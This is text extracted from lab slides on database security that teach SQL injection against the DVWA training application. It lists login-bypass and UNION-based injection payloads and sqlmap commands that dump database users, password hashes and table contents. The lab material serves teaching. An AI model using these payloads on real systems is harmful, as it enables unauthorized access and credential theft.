Chapter 9 - LAB - Database Security
Chapter 9 - LAB - Database Security
4/1/2018 2
1
4/2/2018
4/1/2018 3
Crack username/password
o SQL query:
SELECT * FROM Users WHERE Username='$username' AND
Password='$password‘
o Type:
$username = 1' or '1' = '1$password = 1' or '1' = '1
4/1/2018 4
2
4/2/2018
SQL query:
SELECT * FROM products WHERE id_product=$id_product
ex:
http://www.example.com/product.php?id=10
4/1/2018 5
4/1/2018 6
3
4/2/2018
Basic Injection: 1
Always True Scenario: %' or '0'='0
Display Database Version :
o %' or 0=0 union select null, version() #
Display Database User:
o %' or 0=0 union select null, user() #
Display Database Name
o %' or 0=0 union select null, database() #
Display all tables in information_schema
o %' and 1=0 union select null, table_name from
information_schema.tables #
4/1/2018 7
4/1/2018 8
4
4/2/2018
4/1/2018 10
5
4/2/2018
Run sqlmap
o Obtain Database Management Username and Password. Syntax:
./sqlmap.py –u <ref> --cookie <Coo> --string="Surname" --users –
password
Use Dictionary Attack? Y
Dictionary Location? <Press Enter>
o Obtain db_hacker Database Privileges. Syntax:
./sqlmap.py –u <ref> --cookie <Coo> -U db_hacker –privileges
o Obtain a list of all databases.
./sqlmap.py –u <ref> --cookie <Coo> --dbs
o Obtain "dvwa" tables and contents
./sqlmap.py –u <ref> --cookie <Coo> -D dvwa --tables
o Obtain columns for table dvwa.users
./sqlmap.py –u <ref> -- cookie <Coo> -D dvwa -T users --columns 12
6
4/2/2018
Run sqlmap
o Obtain Users and their Passwords from table dvwa.users. Syntax:
./sqlmap.py –u <ref> --cookie <Coo> -D dvwa -T users -C
user,password –dump
Do you want to use the LIKE operator? Y
Recognize possible HASH values? Y
What's the dictionary location? <Press Enter>
Use common password suffixes? y
13
4/1/2018 14
7
4/2/2018
4/1/2018 15